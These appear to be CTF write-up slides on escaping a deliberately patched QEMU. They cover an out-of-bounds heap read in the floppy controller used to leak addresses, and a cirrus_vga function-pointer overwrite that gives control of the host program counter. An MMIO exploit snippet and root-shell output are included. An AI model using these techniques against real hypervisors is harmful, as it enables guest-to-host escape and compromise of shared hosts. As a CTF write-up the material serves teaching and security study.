Baby’s First Escape ;-)

Tea Deliverers
Hanqing Zhao & Atum

Overview

- QEMU_ESCAPE
  - pwn virtual pci device
  - cirrus_vga && fdc

Escaping the virtual machine

- There is a diff file in the root folder

```
root@ubuntu: /home/ctf/fs/root
Diff makes life esaier, please escape the kvm virtual machine ;-)

diff --git a/hw/block/fdc.c b/hw/block/fdc.c
old mode 100644
new mode 100755
index 2e629b3..a75b07a
--- a/hw/block/fdc.c
+++ b/hw/block/fdc.c



@@ -696,6 +694,11 @@ enum {
     FD_CMD_SAVE = 0x2e,
     FD_CMD_OPTION = 0x33,
     FD_CMD_RESTORE = 0x4e,
+    FD_CMD_NEW_CACHE = 0x1a,
+    FD_CMD_DELETE_CACHE = 0x1b,
+    FD_CMD_READ_MEM = 0x1c,
+    FD_CMD_WRITE_MEM = 0x1e,
+    FD_CMD_SETCACHETIMER=0x0b,
     FD_CMD_DRIVE_SPECIFICATION_COMMAND = 0x8e,
     FD_CMD_RELATIVE_SEEK_OUT = 0x8f,
     FD_CMD_FORMAT_AND_WRITE = 0xcd,
:
```

Escaping the virtual machine

- Attack && interactive with QEMU
- 1.Find the IO port && IO MEM of Virtual Device
  - lspci -nnv
  - lshw
  - lspci && cat /proc/[ioport,iomem]
  - modinfo driver_kernel_mod
  - Read source code OR document
- 2.Communicate by IO port && IO MEM
  - Use In[b/w/l]&&out[b/w/l] from sys/io.h
  - Use ioremap at kernel module

The vulnerability 1

TEA DELIVERERS

- Information Leakage
  - floppy device controller cacher
  - fdc dispatch command using IOPort 0x3f5 (see fdc.c)
  - outb(FD_CMD_READ_MEM,0x3f5), outb(base,0x3f5),outb(offset,0x3f5),outb(size,0x3f5)
  - inb(0x3f5) size times

```
{ FD_CMD_PART_ID, 0xff, "PART ID", 0, fdctrl_handle_partid },
{ FD_CMD_WRITE, 0x1f, "WRITE (BeOS)", 8, fdctrl_start_transfer, FD_DIR_WRITE },
{ FD_CMD_NEW_CACHE, 0xff, "ADD CACHE", 6, fdctrl_new_cache},
{ FD_CMD_DELETE_CACHE, 0xff, "DELETE CACHE", 1, fdctrl_delete_cache},
{ FD_CMD_WRITE_MEM, 0xff, "WRITE MEM", 3, fdctrl_write_cache},
{ FD_CMD_READ_MEM, 0xff, "READ MEM", 3, fdctrl_read_cache},
{ FD_CMD_SETCACHETIMER, 0xff, "SET CACHE TIMER", 2, fdctrl_set_cachetimer},
{ 0, 0, "unknown", 0, fdctrl_unimplemented }, /* default handler */
```

Information Leakage Bug

TEA DELIVERERS

- Integer overflow on reading cache cause OOB read on heap.
  - leak address via Heap Feng Shui
  - the PIE/heap/libc of qemu are all leaked.

```
offset=fdctrl->fifo[2];
length=fdctrl->fifo[3];
size=fdctrl->cacheslot[cacheidx]->size;
readend=offset+length;
if(offset>size||length>size||readend>size){
    fdctrl->fifo[0]=-2;
    fdctrl_to_result_phase(fdctrl, 1);
    return;
}
for(i=0;i<length;i++)
    fdctrl->fifo[i]=fdctrl->cacheslot[cacheidx]->mem[offset+i];
fdctrl_to_result_phase(fdctrl, length);
return;
```

Information Leakage Bug

TEA DELIVERERS

- Heap Feng Shui
  - fopen: (FILE*) malloc(sizeof(FILE))
  - timer_new_ns(timer*) : (timer*)malloc(sizeof(timer))

```
static void writethrough_cache(void* cache){
    FILE* fp=fopen("/tmp/log.txt","w");
    fprintf(fp,"Cache writing throughing\n");
    //do some write cache work;
    fclose(fp);
}
static void fdctrl_set_cachetimer(FDCtrl *fdctrl,int direction){
    uint8_t cacheidx=0;
    uint64_t expire_time=0;
    cacheidx=fdctrl->fifo[1];
    if(!fdctrl->cacheslot[cacheidx]){
        fdctrl->fifo[0]=-1;
        fdctrl_to_result_phase(fdctrl, 1);
        return;
    }
    expire_time=fdctrl->fifo[2];
    expire_time*=1000000000;
    if(!fdctrl->cacheslot[cacheidx]->cache_timer)
        fdctrl->cacheslot[cacheidx]->cache_timer=timer_new_ns(QEMU_CLOCK_VIRTUAL,writethrough_cache,
    timer_mod(fdctrl->cacheslot[cacheidx]->cache_timer,expire_time);
    fdctrl->fifo[0]=0;
    fdctrl_to_result_phase(fdctrl, 1);
    return;

}
```

The vulnerability 2

TEA DELIVERERS

- Simple bug used to control $PC
- Cirrus-vga device
  - The CIRRUS_BLTMODE_PATTERNCOPY mode restrict was removed

```
                s->cirrus_srcptr = s->cirrus_bltbuf + copy_count;
                s->cirrus_srcptr_end = s->cirrus_bltbuf + s->cirrus_blt_srcpitch;
            } while (s->cirrus_srcptr >= s->cirrus_srcptr_end);
@@ -1067,7 +1095,7 @@ static void cirrus_bitblt_start(CirrusVGAState * s)
                                CIRRUS_BLTMODE_TRANSPARENTCOMP |
                                CIRRUS_BLTMODE_PATTERNCOPY |
                                CIRRUS_BLTMODE_COLOREXPAND)) ==
-            (CIRRUS_BLTMODE_PATTERNCOPY | CIRRUS_BLTMODE_COLOREXPAND)) {
+            (CIRRUS_BLTMODE_COLOREXPAND)) {
             cirrus_bitblt_fgcol(s);
             cirrus_bitblt_solidfill(s, blt_rop);
         } else {
```

RIP Control

- There are several members inside the Cirrus_vga_state struct.
- cirrus_bitblt_start func can be used to set cirrus_vga_state->srcpitch
- Inside the cirrus_bitblt_start function, cirrtus_bitblt_cputovideo can be used to set s-> cirrus_srcptr_end.
- At first, we can set this members legally.
    - srcptr_end、srcpitch...

```
if (s->cirrus_blt_mode & CIRRUS_BLTMODE_MEMSYSSRC) {
    if (!cirrus_bitblt_cputovideo(s))
        goto bitblt_ignore;
} else if (s->cirrus_blt_mode & CIRRUS_BLTMODE_MEMSYSDEST) {
    if (!cirrus_bitblt_videotocpu(s))
        goto bitblt_ignore;
} else {
    if (!cirrus_bitblt_videotovideo(s))
        goto bitblt_ignore;
}
```

```
static void cirrus_bitblt_start(CirrusVGAState * s)
{
    uint8_t blt_rop;

    if (!s->enable_blitter) {
        goto bitblt_ignore;
    }

    s->vga.gr[0x31] |= CIRRUS_BLT_BUSY;

    s->cirrus_blt_width = (s->vga.gr[0x20] | (s->vga.gr[0x21]
    s->cirrus_blt_height = (s->vga.gr[0x22] | (s->vga.gr[0x23
    s->cirrus_blt_dstpitch = (s->vga.gr[0x24] | (s->vga.gr[0x
    s->cirrus_blt_srcpitch = (s->vga.gr[0x26] | (s->vga.gr[0x
```

RIP Control

- During the 2nd operation phrase of setting variables, because of our patch for qemu, we still can enter the if branch without setting the variable CIRRUS_BLTMODE_PATTERNCOPY.
- Via using the cirrus_bitblt_start function, we can overwrite s->srcpitch only and return.

```
if ((s->cirrus_blt_modeext & CIRRUS_BLTMODEEXT_SOLIDFILL) &&
    (s->cirrus_blt_mode & (CIRRUS_BLTMODE_MEMSYSDEST |
                           CIRRUS_BLTMODE_TRANSPARENTCOMP |
                           CIRRUS_BLTMODE_PATTERNCOPY |
                           CIRRUS_BLTMODE_COLOREXPAND)) ==
     (CIRRUS_BLTMODE_COLOREXPAND)) {
    cirrus_bitblt_fgcol(s);
    cirrus_bitblt_solidfill(s, blt_rop);
} else {
    if ((s->cirrus_blt_mode & (CIRRUS_BLTMODE_COLOREXPAND |
                               CIRRUS_BLTMODE_PATTERNCOPY)) ==
        CIRRUS_BLTMODE_COLOREXPAND) {

        if (s->cirrus_blt_mode & CIRRUS_BLTMODE_TRANSPARENTCOMP) {
            if (s->cirrus_blt_modeext & CIRRUS_BLTMODEEXT_COLOREXPINV)
```

jump over the assignment function in else branch

RIP Control

- Using cirrus_bitblt_cputovideo_next to overwrite s->cirrus_srcptr

```
static void cirrus_bitblt_cputovideo_next(CirrusVGAState * s)
{
    int copy_count;
    uint8_t *end_ptr;

    if (s->cirrus_srccounter > 0) {
        if (s->cirrus_blt_mode & CIRRUS_BLTMODE_PATTERNCOPY) {
            cirrus_bitblt_common_patterncopy(s);
        the_end:
            s->cirrus_srccounter = 0;
            cirrus_bitblt_reset(s);
        } else {
```

The PATTERNCOPY check can be passed

```
    end_ptr = s->cirrus_bltbuf + s->cirrus_blt_srcpitch;
    copy_count = s->cirrus_srcptr_end - end_ptr;
    qemu_memmove(s->cirrus_bltbuf, end_ptr, copy_count);
    s->cirrus_srcptr = s->cirrus_bltbuf + copy_count;
    s->cirrus_srcptr_end = s->cirrus_bltbuf + s->cirrus_blt_srcpitch;
} while (s->cirrus_srcptr >= s->cirrus_srcptr_end);
```

negtive!

RIP Control

- There is a function ptr called cirrus->rop located before cirrus->bltbuf
- The cirrus_vga_mem_write function can be used to overwrite the cirrus->rop

```
if ((s->vga.sr[0x07] & 0x01) == 0) {
    vga_mem_writeb(&s->vga, addr, mem_value);
    return;
}

if (addr < 0x10000) {
if (s->cirrus_srcptr != s->cirrus_srcptr_end) {
    /* bitblt */
    *s->cirrus_srcptr++ = (uint8_t) mem_value;
    if (s->cirrus_srcptr >= s->cirrus_srcptr_end) {
    cirrus_bitblt_cputovideo_next(s);
    }
```

- Inside the cirrus_bitblt_cputovideo_next function, the rop ptr will be called.
- RIP Control :)

Exploit Code Snippet

- MMIO opration...

```
writeb(5, MMIO_BASE0 + 0x10a);//weight
writew(0, MMIO_BASE0 + 0x10b);
writeb(1, MMIO_BASE0 + 0x10e);//srcpitch
writeb(0, MMIO_BASE0 + 0x10f);
writeb(1, MMIO_BASE0 + 0x10c);//dstpitch
writeb(0, MMIO_BASE0 + 0x10d);
writeb(4, MMIO_BASE0 + 0x118);//mode
writeb(2, MMIO_BASE0 + 0x140);//first start
writeb(12, MMIO_BASE0 + 0x10e);//srcpitch
writeb(0, MMIO_BASE0 + 0x10f);
writeb(0, MMIO_BASE0 + 0x10c);//dstpitch
writeb(0x80, MMIO_BASE0 + 0x118);//mode
writeb(4, MMIO_BASE0 + 0x11b);//modeext
writeb(0x41, MMIO_BASE0 + 0x140);
writeb(0, MMIO_BASE0 + 0x140);
writeb(2, MMIO_BASE0 + 0x140);//second start
writeb(7, MMIO_BASE0 + 0x4);
writeb(1, MMIO_BASE0 + 0x5);
writel(0, MMIO_BASE1);
```

- Overwrite the cirrus_rop ptr
- Calling Cirrus->cirrus_rop func pointer to control PC

```
//over write cirrus_rop here
writel(onegadget & 0xffffffff, MMIO_BASE1);
writel(onegadget >> 0x20, MMIO_BASE1 + 4);
for(i=0;i<12;i++)
    writeb(0,MMIO_BASE1);
```

Spawn Shell

- Jumping to one-gadget is powerful :)

```
Kernel roping, get shell or die...
/ # id
id
uid=0(root) gid=0(root)
/ # uname -a
uname -a
Linux (none) 4.9.21 #4 SMP Sat Apr 8 21:49:16 CST 2017 x86_64 GNU/Linux
/ # insmod exp.ko
insmod exp.ko
[   18.421510] Initizing~
[   18.445957] libcbase = 0x7f1947236000
[   18.451626] heapaddr = 0x7f193c013410
[   18.456863] qemubase = 0xffffffffffc6f3a0
[   18.460774] ffffb25f00069000
/ # sh: turning off NDELAY mode
id
uid=0(root) gid=0(root) groups=0(root)
uname -a
Linux ubuntu 4.8.0-49-generic #52~16.04.1-Ubuntu SMP Thu Apr 20 10:55:59 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux
```

Thanks!

- Credit
  - Marche147
  - kelwin
  - Slipper
  - acez